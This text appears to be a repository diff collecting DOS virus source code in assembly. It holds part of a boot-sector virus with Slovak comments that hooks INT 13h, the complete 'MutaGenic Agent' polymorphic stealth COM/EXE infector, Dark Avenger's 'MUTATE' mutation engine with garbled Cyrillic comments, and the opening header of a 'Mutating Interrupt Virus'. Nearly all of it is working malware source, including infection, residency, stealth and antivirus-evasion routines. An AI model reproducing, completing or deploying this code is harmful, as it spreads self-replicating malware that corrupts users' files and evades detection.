mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h)
or ax,ax ; Zero ?
jnz loc_15 ; Jump if not zero
mov ax,cs:7d3h[bx] ; (727D:07D3=5350h)
or ax,ax ; Zero ?
jnz loc_15 ; Jump if not zero
mov ax,cs:7d5h[bx] ; (727D:07D5=40B8h)
or ax,ax ; Zero ?
jz loc_17 ; Jump if zero
loc_15: inc bx
inc bx
inc bx
jmp short loc_14
loc_16: cmp byte ptr cs:7c8h,1 ; (727D:07C8=3Bh)
je loc_19 ; Jump if equal
inc byte ptr cs:7c9h ; (727D:07C9=6)
jmp loc_9 ; (0454)
loc_17:
mov ax,0FFFFh
mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h)
mov cs:7d3h[bx],ax ; (727D:07D3=5350h)
mov cs:7d5h[bx],ax ; (727D:07D5=40B8h)
xor ah,ah ; Zero register
mov al,cs:7c9h ; (727D:07C9=6)
shl al,1 ; Shift w/zeros fill
add al,cs:7c9h ; (727D:07C9=6)
mov dx,200h
mul dx ; dx:ax = reg * ax
add ax,bx
xor dx,dx ; Zero register
mov bx,3
div bx ; ax,dx rem=dx:ax/reg
dec ax
shl ax,1 ; Shift w/zeros fill
mov cl,cs:data_49 ; (727D:0DDE=0F6h)
shr cl,1 ; Shift w/zeros fill
or cl,cl ; Zero ?
jz loc_18 ; Jump if zero
shl ax,cl ; Shift w/zeros fill
loc_18:
add ax,cs:7b5h ; (727D:07B5=550Fh)
call sub_5 ; (0611)
mov byte ptr cs:7cbh,0 ; (727D:07CB=0)
nop
mov byte ptr cs:7cdh,0 ; (727D:07CD=2)
nop
xor dl,dl
clc ;Clear carry flag
jmp short loc_ret_20
loc_19: stc ;Set carry flag
loc_ret_20: retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_4: mov ax,1FCh
mov cs:7bch,ax ; (727D:07BC=0DC3Eh)
mov byte ptr cs:7b9h,1 ; (727D:07B9=16h)
nop
mov word ptr cs:7bah,2 ; (727D:07BA=812Eh)
loc_21:
mov ax,201h
lea bx,cs:[7D1h] ; Load effective addr
mov cx,cs:7bah ; (727D:07BA=812Eh)
mov dh,byte ptr cs:7b9h ; (727D:07B9=16h)
mov dl,80h
call read_write
jnc loc_22 ; Jump if carry=0
jmp loc_ret_28 ; (0610)
loc_22:
mov word ptr cs:7cch,cx ; (727D:07CC=274h)
mov cs:7cbh,dh ; (727D:07CB=0)
call sub_7 ; (06E9)
mov cs:7bah,cx ; (727D:07BA=812Eh)
mov cs:7b9h,dh ; (727D:07B9=16h)
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
xor bx,bx ; Zero register
loc_23:
cmp bx,cs:7bch ; (727D:07BC=0DC3Eh)
ja loc_25 ; Jump if above
mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h)
or ax,ax ; Zero ?
jnz loc_24 ; Jump if not zero
mov ax,cs:7d3h[bx] ; (727D:07D3=5350h)
or ax,ax ; Zero ?
jz loc_26 ; Jump if zero
loc_24:
inc bx
inc bx
jmp short loc_23 ; (05A1)
loc_25:
cmp word ptr cs:7b7h,0 ; (727D:07B7=75AAh)
jne loc_21 ; Jump if not equal
jmp short loc_27 ; (060F)
db 90h
loc_26:
mov ax,0FFFFh
mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h)
mov cs:7d3h[bx],ax ; (727D:07D3=5350h)
mov byte ptr cs:7ceh,1 ; (727D:07CE=0F8h)
nop
mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
sub ax,cs:7b7h ; (727D:07B7=75AAh)
dec ax
mov dx,200h
mul dx ; dx:ax = reg * ax
add bx,ax
shr bx,1 ; Shift w/zeros fill
dec bx
dec bx
mov ax,bx
xor bh,bh ; Zero register
mov bl,cs:data_49 ; (727D:0DDE=0F6h)
mul bx ; dx:ax = reg * ax
add ax,cs:7b5h ; (727D:07B5=550Fh)
add ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
call sub_5 ; (0611)
mov dl,80h
clc ; Clear carry flag
jmp short loc_ret_28 ; (0610)
loc_27: stc
loc_ret_28: retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_5: xor dx,dx ; Zero register
mov bx,cs:7b3h ; (727D:07B3=0CF3Eh)
div bx ; ax,dx rem=dx:ax/reg
mov ch,al
mov cl,6
shl ah,cl ; Shift w/zeros fill
mov cl,ah
xor ax,ax ; Zero register
xchg ax,dx
mov bx,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
div bx ; ax,dx rem=dx:ax/reg
mov dh,al
inc dl
add cl,dl
retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_6: mov al,cs:data_49 ; (727D:0DDE=0F6h)
mov cs:data_3e,al ; (727D:000D=0)
mov ax,cs:data_50 ; (727D:0DDF=0F6F6h)
mov cs:data_4e,ax ; (727D:000E=0)
mov ax,cs:data_52 ; (727D:0DE2=0F6F6h)
mov cs:data_5e,ax ; (727D:0011=0)
mov ax,cs:data_53 ; (727D:0DE4=0F6F6h)
mov cs:data_6e,ax ; (727D:0013=0)
mov al,cs:data_54 ; (727D:0DE6=0F6h)
mov cs:data_7e,al ; (727D:0015=0)
mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
mov cs:data_8e,ax ; (727D:0016=0)
mov ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
mov cs:data_9e,ax ; (727D:0018=0)
mov ax,word ptr cs:data_57 ; (727D:0DEB=0F6F6h)
mov cs:data_10e,ax ; (727D:001A=0)
mov byte ptr cs:[1FDh],dl ; (727D:01FD=7Eh)
mov cs:[drive_head-100h],dx
mov cs:[stopa_sect-100h],cx
mov ax,301h
lea bx,cs:[0DD1h] ; Load effective addr
mov dl,cs:7cah ; (727D:07CA=40h)
call read_write
jc loc_ret_30 ; Jump if carry Set
call sub_7 ; (06E9)
push cx
push dx
mov ah,4
int 1Ah ; Real time clock ah=func 04h
; read date cx=year, dx=mon/day
mov cs:[year-100h],cx ; (727D:079C=0DD1h)
mov cs:[month-100h],dh ; (727D:079E=0B9h)
mov ax,79Fh
sub ax,200h
mov cl,9
shr ax,cl ; Shift w/zeros fill
inc al
pop dx
pop cx
mov ah,3
mov bx,200h
call read_write
jc loc_ret_30 ; Jump if carry Set
mov al,cs:7ceh ; (727D:07CE=0F8h)
lea bx,cs:[7D1h] ; Load effective addr
mov cx,word ptr cs:7cch ; (727D:07CC=274h)
mov dh,cs:7cbh ; (727D:07CB=0)
call read_write
jc loc_ret_30 ; Jump if carry Set
mov al,1
xor bx,bx ; Zero register
mov cx,1
xor dh,dh ; Zero register
cmp dl,80h
jne loc_29 ; Jump if not equal
inc dh
loc_29: call read_write
loc_ret_30: retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_7: push ax
inc cl
mov al,cl
and al,3Fh ; '?'
cmp al,cs:7beh ; (727D:07BE=0Dh)
jb loc_31 ; Jump if below
and cl,0C0h
inc cl
inc dh
cmp dh,cs:7bfh ; (727D:07BF=0)
jb loc_31 ; Jump if below
xor dh,dh ; Zero register
add ch,1
jnc loc_31 ; Jump if carry=0
add cl,40h ; '@'
jnc loc_31 ; Jump if carry=0
or cl,0C0h
loc_31: pop ax
retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
read_write: push ax
push bx
push cx
push dx
mov cs:7c0h,ax ; (727D:07C0=7502h)
mov cs:7c2h,bx ; (727D:07C2=2E0Dh)
mov cs:7c4h,cx ; (727D:07C4=11A1h)
mov cs:7c6h,dx ; (727D:07C6=2E0Eh)
loc_32: mov cx,4
locloop_33: push cx
mov ah,byte ptr cs:7c0h+1 ; (727D:07C1=75h)
mov al,1
mov bx,cs:7c2h ; (727D:07C2=2E0Dh)
mov cx,cs:7c4h ; (727D:07C4=11A1h)
mov dx,cs:7c6h ; (727D:07C6=2E0Eh)
pushf ; Push flags
call dword ptr ds:data_1e ; (0000:0230=0)
pop cx
jnc loc_34 ; Jump if carry=0
xor ah,ah ; Zero register
pushf ; Push flags
call dword ptr ds:data_1e ; (0000:0230=0)
loop locloop_33 ; Loop if cx > 0
stc ; Set carry flag
jmp short loc_35 ; (078F)
loc_34:
dec byte ptr cs:7c0h ; (727D:07C0=2)
cmp byte ptr cs:7c0h,0 ; (727D:07C0=2)
je loc_35 ; Jump if equal
mov cx,cs:7c4h ; (727D:07C4=11A1h)
mov dx,cs:7c6h ; (727D:07C6=2E0Eh)
call sub_7 ; (06E9)
mov cs:7c4h,cx ; (727D:07C4=11A1h)
mov cs:7c6h,dx ; (727D:07C6=2E0Eh)
mov bx,cs:7c2h ; (727D:07C2=2E0Dh)
add bx,200h
mov cs:7c2h,bx ; (727D:07C2=2E0Dh)
jmp short loc_32 ; (072D)
loc_35:
pop dx
pop cx
pop bx
pop ax
retn
; --------------------------------------------------------------------------
; Nacitanie BOOT sektora
; Vracia CF = 1 ak operacia prebehla neuspesne, boot je zly, nakazeny,
; alebo command nie je READ
; --------------------------------------------------------------------------
read_boot: cmp ah,2 ;Read command
jne read_boot_end
mov al,1 ;Set 1 sector for READ_WRITE
mov bx,buffer_boot
mov cx,1 ;Boot sector
xor dh,dh
cmp dl,80h ;Pracujeme s diskom D: E: .. ?
ja read_boot_end ;Ak ano odchod
jnz obskok ;Skok ak nepracujem s C:
inc dh
obskok: call read_write ;Read boot sector
jc return_
cmp word ptr cs:[buffer_boot+200h-2],0aa55h ;Test Boot flag
jnz read_boot_end ;Toto nie je Boot sect.
cmp word ptr cs:[buffer_boot+11],200h ;Sector size = 200h ?
jnz read_boot_end
mov ax,cs:[buffer_boot+40h] ;Testuj ci uz nie je nakazeny
cmp ax,cs:[40h]
jz read_boot_end ;Ak ano odchod (Set error)
clc ;OK
ret
read_boot_end: stc ;Error
return_: ret
; ---------------------------------------------------------------------------
; Test casova prodlevy 1 sekundy
; Vracia CARRY = 1 ak od poslaedneho volnania neubehla 1 sekunda
; ---------------------------------------------------------------------------
timeout: push ds ;Backup registers
push ax
push bx
mov ax,40h
mov ds,ax
mov si,6ch
mov ax,[si] ;AX = <0000:046C> - timer cnt
mov bx,ax
sub ax,cs:[timer_tick-100h] ;Odpocitaj poslednu pouzitu hodn.
cmp ax,18 ;Ubehla aspom 1 sekunda ?
jb este_nie ;Jump if no
mov cs:7cfh,bx
clc ;Set flag time OK
jmp short obskok_t
este_nie: stc ;Set flag este neubehla 1 sek.
obskok_t: pop bx ;Restore registers
pop ax
pop ds
ret
; ----------------------------------------------------------------------------
; Nahodna melodia
; ----------------------------------------------------------------------------
sound: push ds
mov ax,40h
mov ds,ax
mov si,6Ch
mov al,ds:data_2e ; (0040:006C=3Ah)
cmp al,0DDh
jb loc_40 ; Jump if below
mov cx,24h
mov si,ds:data_2e ; (0040:006C=0E43Ah)
cld ; Clear direction
locloop_37: push cx
lodsb ; String [si] to al
and al,7
cbw ; Convrt byte to word
mov bx,ax
xor ax,ax ; Zero register
mov dx,12h
div word ptr cs:[74Ah][bx] ; (727D:074A=230h) ax,dxrem=dx:ax/data
mov bx,ax
mov al,0B6h
out 43h,al ; port 43h, 8253 wrt timr mode
mov ax,bx
out 42h,al ; port 42h, 8253 timer 2 spkr
mov al,ah
out 42h,al ; port 42h, 8253 timer 2 spkr
in al,61h ; port 61h, 8255 port B, read
or al,3
out 61h,al ; port 61h, 8255 B - spkr, etc
mov cx,0FFFFh
locloop_38: loop locloop_38 ; Loop if cx > 0
in al,61h ; port 61h, 8255 port B, read
and al,0FCh
out 61h,al ; port 61h, 8255 B - spkr, etc
; al = 0, disable parity
mov cx,0FFFFh
locloop_39:
loop locloop_39 ; Loop if cx > 0
pop cx
loop locloop_37 ; Loop if cx > 0
loc_40: pop ds
retn
db 6, 1, 26h, 1, 4Ah, 1
db 5Bh, 1, 88h, 1, 0B8h, 1
db 0EEh, 1, 0Ch, 2
; ---------------------------------------------------------------------------
; Konverzia roku (posl.2 BCD cisla) a mesiaca na pocet mesiacov
; Prepocet CL (rok), DH (mesiac) -> AX (mesiace)
; Pr. 6.12.1991 (9*10+1)*12 + (10+2)
; ---------------------------------------------------------------------------
year2month: mov al,cl
shr al,1 ;Horne 4 bity
shr al,1
shr al,1
shr al,1
mov bl,10
mul bl ;Nasob 10
and cl,0Fh ;Dolne 4 bity
add al,cl ;Pripocitaj
mov bl,12
mul bl ;Rok ma 12 mesiacov
test dh,10h ;Mesiac 10,11,12 ?
jz no_zima
add ax,10 ;Pridaj
no_zima: xchg dh,dl
; and dx,0Fh
db 83h,0e2h,0fh ;Original instruction for prev.
add ax,dx
retn
; ----------------------------------------------------------------------------
; Predefinovanie INT 13h na NEW_13
; ----------------------------------------------------------------------------
redef_13: cld
mov si,13h*4 ;Offset INT 13 in Zero segment
mov di,si
lodsw ;Load INT 13h
mov word ptr cs:[old_13-100h],ax
lodsw
mov word ptr cs:[old_13-100h+2],ax
mov ax,offset new_13-100h
stosw ;Store new_13
mov ax,cs
stosw
retn
; ----------------------------------------------------------------------------
flag_action db 1
pom_months dw 445h
year dw 1991h
month db 6
db '-- Made In Taiwan --'
sect_allhead dw 12h
start_data dw 0ch
backup_fat_size dw 2
db 2,10h,0
fat_size_byte dw 3fah
sect_per_track2 db 0ah
head_cnt db 2
db 1,3,0,6,1,9,0,1
db 1,0
drive_number db 0
head_for_fat db 0
fat_block dw 2
fat_size_block db 2
timer_tick dw 2035h
buffer label byte
db 0fdh
db 0FFh, 0FFh, 3, 40h, 0, 5
db 60h, 0, 7, 80h, 0, 9
db 0A0h, 0, 0Bh, 0C0h, 0, 0Dh
db 0E0h, 0, 0Fh, 0, 1, 11h
db 20h, 1, 13h, 40h, 1, 15h
db 60h, 1, 17h, 0F0h, 0FFh, 19h
db 0A0h, 1, 1Bh, 0C0h, 1, 1Dh
db 0E0h, 1, 1Fh, 0, 0F6h
db 1245 dup (0F6h)
data_49 db 0F6h
data_50 dw 0F6F6h
data_51 db 0F6h
data_52 dw 0F6F6h
data_53 dw 0F6F6h
data_54 db 0F6h
data_55 dw 0F6F6h
data_56 db 0F6h
db 0F6h
data_57 db 0F6h
db 483 dup (0F6h)
data_58 dw 0F6F6h
db 303 dup (0F6h)
mbug ends
end start


View File

@ -0,0 +1,570 @@
; ========================================================================>
; MutaGenic Agent ]I[
; by MnemoniX- 1994
; Resident COM/EXE infecting virus
; Infect on execution
; Won't infect ??SCAN.EXE or F-PROT.EXE
; Polymorphic, using MutaGen v2.0
; Uses full stealth (disinfects in memory on open)
; A tricky virus, so BE CAREFUL.
; Usually nails COMMAND.COM on first run.
; ========================================================================>
MGEN_SIZE equ 1938 ; for MutaGen 2.0
code segment byte public 'code'
org 0
assume cs:code,ds:code
extrn _mutagen:near
start:
db 0E9h,02,00,4Dh,47h
virus_begin:
push ds es
call $+3
pop bp
sub bp,offset $-1
mov ax,577Eh ; residency test
int 21h
cmp ax,0A881h
je installed
mov ax,ds
dec ax
mov ds,ax
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupt 21
mov ds,ax
mov si,21h * 4
mov di,offset old_int_21
movsw
movsw
mov word ptr [si - 4],offset new_int_21
mov [si - 2],es
installed:
pop es ds
cmp sp,'GM' ; EXE?
je exe_exit
mov di,100h
push di
lea si,[bp + read_buffer]
movsw
movsw
movsb
call fix_regs
ret
exe_exit:
mov ax,ds
add ax,10h
add cs:[bp + exe_cs],ax
add ax,cs:[bp + exe_ss]
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
sti
call fix_regs
db 0EAh
exe_ip dw 0
exe_cs dw 0
exe_ss dw 0
exe_sp dw 0
fix_regs:
xor ax,ax
xor bx,bx
cwd
xor di,di
mov si,100h
xor bp,bp
ret
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,577Eh
je pass
cmp ah,11h
je dir_stealth_1
cmp ah,12h
je dir_stealth_1
cmp ah,4Eh
je dir_stealth_2
cmp ah,4Fh
je dir_stealth_2
cmp ah,3Dh
jne next_1
jmp file_open
next_1:
cmp ah,6Ch
jne next_2
jmp file_open
next_2:
cmp ax,4B00h
jne next_3
jmp execute
next_3:
cmp ah,3Fh
jne next_4
jmp file_read
next_4:
cmp ax,5700h
jne next_5
jmp fix_date
next_5:
int_21_exit:
db 0EAh
old_int_21 dd 0
pass:
not ax
iret
dir_stealth_1:
call int_21 ; do it
test al,al ; if al = -1
js cant_find ; then don't bother
push ax bx es ; check file for infection
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 19h]
cmp ah,100 ; check years -
jb fixed ; if 100+, infected
ror ah,1
sub ah,100
rol ah,1
mov es:[bx + 19h],ax
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 328
sbb word ptr es:[bx + 1Fh],0
fixed:
pop es bx ax
cant_find:
iret
dir_stealth_2:
call int_21 ; perform file search
jnc check_file_2 ; if found, proceed
retf 2 ; nope, leave
check_file_2:
push ax bx si es
mov ah,2Fh ; find DTA
int 21h
mov ax,es:[bx + 18h]
cmp ah,100 ; check for infection marker
jb fixed_2
ror ah,1 ; fix up date
sub ah,100
rol ah,1
mov es:[bx + 18h],ax
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 328
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es si bx ax ; done
clc
retf 2
file_open:
call int_21 ; open file
jc open_fail ; carry set, open failed
cmp ax,5 ; if handle is a device,
jb dont_bother ; don't bother with it
push ax bx di es
xchg ax,bx
push bx
mov ax,1220h ; get system file table
int 2Fh ; entry
nop ; anti-SCAN
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
mov ax,es:[di + 0Fh] ; check time stamp
cmp ah,100
jb dont_stealth
cmp word ptr es:[di],1 ; if file has already
ja dont_stealth ; been opened, don't stealth
sub es:[di + 11h],VIRUS_SIZE + 328
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
; size
dont_stealth:
pop es di bx ax ; restore everything
dont_bother:
clc
open_fail:
retf 2 ; and return
file_read:
cmp bx,5 ; if read from device,
jae check_it_out ; don't bother
jmp forget_it
check_it_out:
push si di es ax bx cx
push bx
mov ax,1220h
int 2Fh
mov ax,1216h
mov bl,es:[di]
int 2Fh
pop bx
mov ax,es:[di + 0Fh] ; 100+ years
cmp ah,100
jae check_pointer ; is the magic number
jmp no_read_stealth
check_pointer:
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
je check_pointer_2 ; then skip it
jmp no_read_stealth
check_pointer_2:
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
jae no_read_stealth ; then DON'T
push es:[di + 15h] ; save it
mov ah,3Fh
call int_21 ; do the read function
pop cx ; now find how many bytes
push ax ; (Save AX value)
sub cx,28 ; we have to change ...
neg cx ; and where
cmp ax,cx ; if more than 28 were read,
jae ok ; ok
xchg ax,cx ; otherwise, switch around
ok:
push ds cx dx
push es:[di + 15h] ; save current file pointer
push es:[di + 17h]
add es:[di + 11h],VIRUS_SIZE + 328
adc word ptr es:[di + 13h],0
mov ax,es:[di + 11h] ; fix up file size to prevent
sub ax,28 ; read past end of file
mov es:[di + 15h],ax
mov ax,es:[di + 13h]
mov es:[di + 17h],ax
push cs ; now read in real first 28
pop ds ; bytes
mov dx,offset read_buffer
mov cx,28
mov ah,3Fh
call int_21
sub es:[di + 11h],VIRUS_SIZE + 328
sbb word ptr es:[di + 13h],0
pop es:[di + 17h] ; restore file pointer
pop es:[di + 15h]
pop dx cx ds ; now we move our 28 bytes
push ds ; into theirs ...
pop es
mov di,dx
mov si,offset read_buffer
push cs
pop ds
rep movsb ; done
push es ; restore DS
pop ds
pop ax
pop cx bx es es di si
clc
retf 2
no_read_stealth:
pop cx bx ax es di si
forget_it:
jmp int_21_exit
fix_date:
call int_21 ; get date
jc an_error
cmp dh,100 ; if years > 100,
jb date_fixed ; fix it up
ror dh,1
sub dh,100
rol dh,1
date_fixed:
iret
an_error:
retf 2
execute:
push ax si
mov si,dx
find_ext:
lodsb
test al,al
je not_av
cmp al,'.'
jne find_ext
cmp ds:[si],'XE' ; check for ??SCAN.EXE
jne not_av
cmp ds:[si - 3],'NA'
jne f_prot
cmp ds:[si - 5],'CS'
je av_prog
f_prot:
cmp ds:[si - 3],'TO' ; check for F-PROT.EXE
jne not_av
cmp ds:[si - 5],'RP'
jne not_av
av_prog:
pop si ax
jmp int_21_exit
not_av:
pop si ax
push ax bx cx dx si di ds es
mov ax,3D00h
call int_21
jnc opened
jmp cant_open
opened:
xchg bx,ax
push bx
mov ax,1220h
int 2Fh
mov ax,1216h
mov bl,es:[di]
int 2Fh
pop bx
mov word ptr es:[di + 2],2
push cs
pop ds
mov ah,3Fh
mov dx,offset read_buffer
mov cx,28
call int_21
cmp read_buffer,'ZM'
jne infect_com
jmp infect_exe
infect_com:
cmp read_buffer[3],'GM'
je dont_infect
mov ax,es:[di + 11h]
mov es:[di + 15h],ax
sub ax,3
mov word ptr new_jump[1],ax
add ax,103h
xchg dx,ax
call write_it
mov cx,5
mov dx,offset new_jump
mov ah,40h
call int_21
stamp_n_close:
mov cx,es:[di + 0Dh]
mov dx,es:[di + 0Fh]
ror dh,1
add dh,100
rol dh,1
mov ax,5701h
call int_21
dont_infect:
mov ah,3Eh
call int_21
cant_open:
pop es ds di si dx cx bx ax
jmp int_21_exit
infect_exe:
cmp word ptr read_buffer[26],0
ja dont_infect ; don't infect overlay .EXE
cmp word ptr read_buffer[16],'GM'
je dont_infect ; infected already
push es di
push cs ; save this header
pop es
mov si,offset read_buffer
mov di,offset orig_header
mov cx,14
rep movsw
pop di es
mov ax,word ptr orig_header[20]
mov exe_ip,ax
mov ax,word ptr orig_header[22]
mov exe_cs,ax
mov ax,word ptr orig_header[14]
mov exe_ss,ax
mov ax,word ptr orig_header[16]
mov exe_sp,ax
mov ax,es:[di + 11h] ; file size
mov dx,es:[di + 13h]
push ax dx ; (save these for later)
push bx
mov cl,12
shl dx,cl
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr orig_header[8]
mov word ptr orig_header[22],dx
mov word ptr orig_header[20],ax
add dx,80h ; give stack some space
mov word ptr orig_header[14],dx
mov word ptr orig_header[16],'GM'
pop dx ax
add ax,VIRUS_SIZE + 28
adc dx,0
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr orig_header[2],dx
mov word ptr orig_header[4],ax
mov ax,4202h ; to EOF
cwd
xor cx,cx
call int_21
mov dx,word ptr orig_header[20]
call write_it
mov cx,28
mov dx,offset orig_header
mov ah,40h
call int_21
jmp stamp_n_close
write_it:
push dx
mov ax,2524h ; trap int 24
mov dx,offset int_24
call int_21
pop dx
push es di ; call MutaGen
push cs
pop es
mov cx,VIRUS_SIZE
mov di,offset encrypt_buffer
mov si,offset virus_begin
call _mutagen
pop di es
mov si,cx
mov ah,40h
call int_21
sub si,VIRUS_SIZE + 300
neg si
mov cx,si
mov ah,40h
mov dx,offset encrypt_buffer + 200
call int_21
mov cx,28 ; for stealth
mov dx,offset read_buffer
mov ah,40h
call int_21
mov word ptr es:[di + 15h],0
mov word ptr es:[di + 17h],0
ret
db 'MutaGenic Agent ]I[',0
int_24: ; int 24 handler
mov al,3
iret
new_jump db 0E9h,00,00,4Dh,47h
pop_buffer dw 0
read_buffer dw 14 dup (20CDh)
virus_end equ $ + MGEN_SIZE
VIRUS_SIZE equ virus_end - virus_begin
orig_header equ virus_end
encrypt_buffer equ virus_end + 28
end_heap equ virus_end + 28 + VIRUS_SIZE + 300
MEM_SIZE equ end_heap - start
code ends
end start

View File

@ -0,0 +1,188 @@
page ,132
name mutate
title MUTATE - A Self-mutating Module for Viruses
.radix 16
.model tiny
.code
; This source code is a copyrighted material
; (C) 1990 DARK AVENGER
org 100
timer equ 46C
start:
jmp prog
; „¥ª®¤¨°  ®±­®¢­ ²  · ±² ¨ ®¯°¥¤¥«¿ ­®¬¥°  ­  £¥­¥° ¶¨¿²  ¨  ¤°¥±  ­  v_entry.
; ‡  ¤  ­ ¯° ¢¨ ¯®±«¥¤­®²®, ¢§¨¬¥ ®¯¥° ­¤  ­  JMP-a, ª®©²® ²°¿¡¢  ¤  ±²®¨ ­ 
;  ¤°¥± 100, ².¥. ­ ¯° ¢¥­® ¥ ± ¬® §  .COM ´ ©«®¢¥.
v_entry:
xchg ax,bp
mov si,100
inc si
add si,[si]
mov di,si
xor dx,dx
mov cx,(top-encrypt)/2-1
push cx
calcgen:
xor dx,[si+encrypt-v_entry+2]
org $-1
inc si
inc si
dec cx
jns calcgen
pop ax
decrypt:
xor [di+encrypt-v_entry+2],dx
org $-1
inc di
inc di
dec ax
jns decrypt
encrypt:
xchg si,si ;’¥§¨ ¨­±²°³ª¶¨¨ ±  ­¥®¡µ®¤¨¬¨
xchg dx,dx
add si,encrypt-top+2
dec dx
; ’³ª ²°¿¡¢  ¤  ±¥ ±«®¦¨ ¨­¨¶¨ «¨§¨° ¹ ²  · ±² ­  ¢¨°³± . <20> ° ¬¥²°¨:
; DX = -­®¬¥° ­  £¥­¥° ¶¨¿² 
; SI =  ¤°¥± ­  ¥²¨ª¥²  v_entry.
; . . .
prog:
push ds
xor ax,ax
mov ds,ax
mov ax,ds:[timer]
pop ds
call mutate
mov ax,4C00
int 21
; ’ §¨ ¯®¤¯°®£° ¬  ±º§¤ ¢  ±«³· ©­  ¬³² ¶¨¿ ­  ¤¥ª®¤¨° ¹ ²  · ±². <20> ° ¬¥²°¨:
; AX = ±«³· ©­® ·¨±«® (¢§¥²® ®² 0:46C)
mutate:
cld
xor dx,dx
push cs
pop ds
mov cx,90
div cx
call getcode
mov ds:[15],al
call getcode
mov ds:[1E],al
xchg ax,dx
mov dl,6
div dl
mov si,offset muttbl
mov bx,offset xlatbl1
call buildblk
mov [si],al
inc si
mov bx,offset xlatbl2
call buildblk2
mov bx,offset xlatbl3
call buildblk2
mov bx,offset muttbl-1
mov si,offset xlatdat
mov cx,xlatbl1-xlatdat
nextgen:
lodsb
test al,al
jz cantchg
push ax
and al,111b
xlat
mov ah,0F8
xchg ax,dx
pop ax
push cx
mov cl,3
shr al,cl
jz skipxlat
xlat
shl al,cl
jz skipxlat
xlat
shl al,cl
or dl,al
mov dh,0c0
skipxlat:
pop cx
and [si-(xlatdat+1-v_entry)],dh
or [si-(xlatdat+1-v_entry)],dl
cantchg:
loop nextgen
ret
buildblk2:
mov al,ah
buildblk:
shr al,1
mov dl,al
push ax
adc al,1
cmp al,3
jb setblk
sub al,3
setblk:
or dl,al
xlat
mov [si],al
inc si
pop ax
xlat
mov [si],al
inc si
mov al,dl
xor al,3
xlat
ret
getcode:
shr dx,1
mov al,79
jnc got
or al,100b
got:
ret
xlatdat db 0,4,0,0,4,0,26,0
db 2c,0,9,2,0,0,2,0
db 0e,0,4,4,2,0,0,3
db 0,0f,0,5,5,3,0,0
db 0,4,0,1
xlatbl1 db 0,1,2
xlatbl2 db 3,6,7
xlatbl3 db 7,4,5
chksum dw 1A03 ;Š®­²°®«­  ±³¬  ­  ¢¨°³± .
; <>ˆŒ€<C592>ˆ…! ’ §¨ ª®­²°®«­  ±³¬  ²°¿¡¢  ¤  ±¥ ±¬¥²­¥ ­  °ºª . ’¿ ±¥ ±¬¿²  ª ²®
; ±¥ ¥XOR-­ ² ¢±¨·ª¨ 16-¡¨²®¢¨ ¤³¬¨ ¬¥¦¤³ encrypt ¨ top. <20>°®¿ ¨¬ ²°¿¡¢  ¤  ¡º¤¥
; ­¥·¥²­® ·¨±«®,   ®±¢¥­ ²®¢  ± ¬¨¿ ¥²¨ª¥² chksum ²°¿¡¢  ¤  ¡º¤¥ ­  £° ­¨¶  ­ 
; ¤³¬ . „¨°¥ª²¨¢¨²¥ errnz ¢ ª° ¿ ­  ´ ©«  ®±¨£³°¿¢ ² ²®¢ . Ž±¢¥­ ²®¢   ª® ¬¥¦¤³
; encrypt ¨ top ¨¬  ­¿ª ª¢¨ ¤ ­­¨ ¨«¨ ª®¤ ª®¨²® ±¥ ¯°®¬¥­¿², ²¿ ²°¿¡¢  ¤  ±¥
; ±¬¿²  ¯® ®¯¨± ­¨¿  «£®°¨²º¬ ¯°¨ ¢±¿ª® § ° §¿¢ ­¥ ­  ´ ©«.
; ’³ª ²°¿¡¢  ¤  ±¥ ±«®¦¨ ®±² ­ « ²  · ±² ®² ¢¨°³± 
; . . .
top:
.errnz (encrypt-v_entry) mod 2
.errnz (top-encrypt) mod 4-2
.errnz (top-v_entry) mod 2
.errnz (chksum-v_entry) mod 2
muttbl db 7 dup(?) ;<3B> ¡®²­  ®¡« ±² §  ¯®¤¯°®£° ¬ ²  mutate
end start


View File

@ -0,0 +1,415 @@
;****************************************************************************
;* The Mutating Interrupt Virus -Soltan Griss-
;* [RABID] -=+ Front 242 +=-
;*
;*
;* Well this is my Third Release of many to come. This virus uses the latest
;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing
;* to special) is Mutate all int 21h (CD 21) to a random interrupt.
;* Then before executation it will change it back to INT 21.
;*
;* Alot of people are wondering if RABID is Still around. YES. Wea reback and
;* Kicking, although right now we have limited members, it soon will change.
;*
;*
;* Many Thanks go out to Data Disruptor, who originally came up with the
;* interrupt swapping idea.
;*
;*
;* SOON TO COME: Why use conventional memory when do has left so many holes??
;* Find out soon in one of our next RELEASES.
;*
;* A Real Mutating virus with moveable modular segments!!<G>!
;*
;*
;*
;* A Word of thanks go out to.
;*
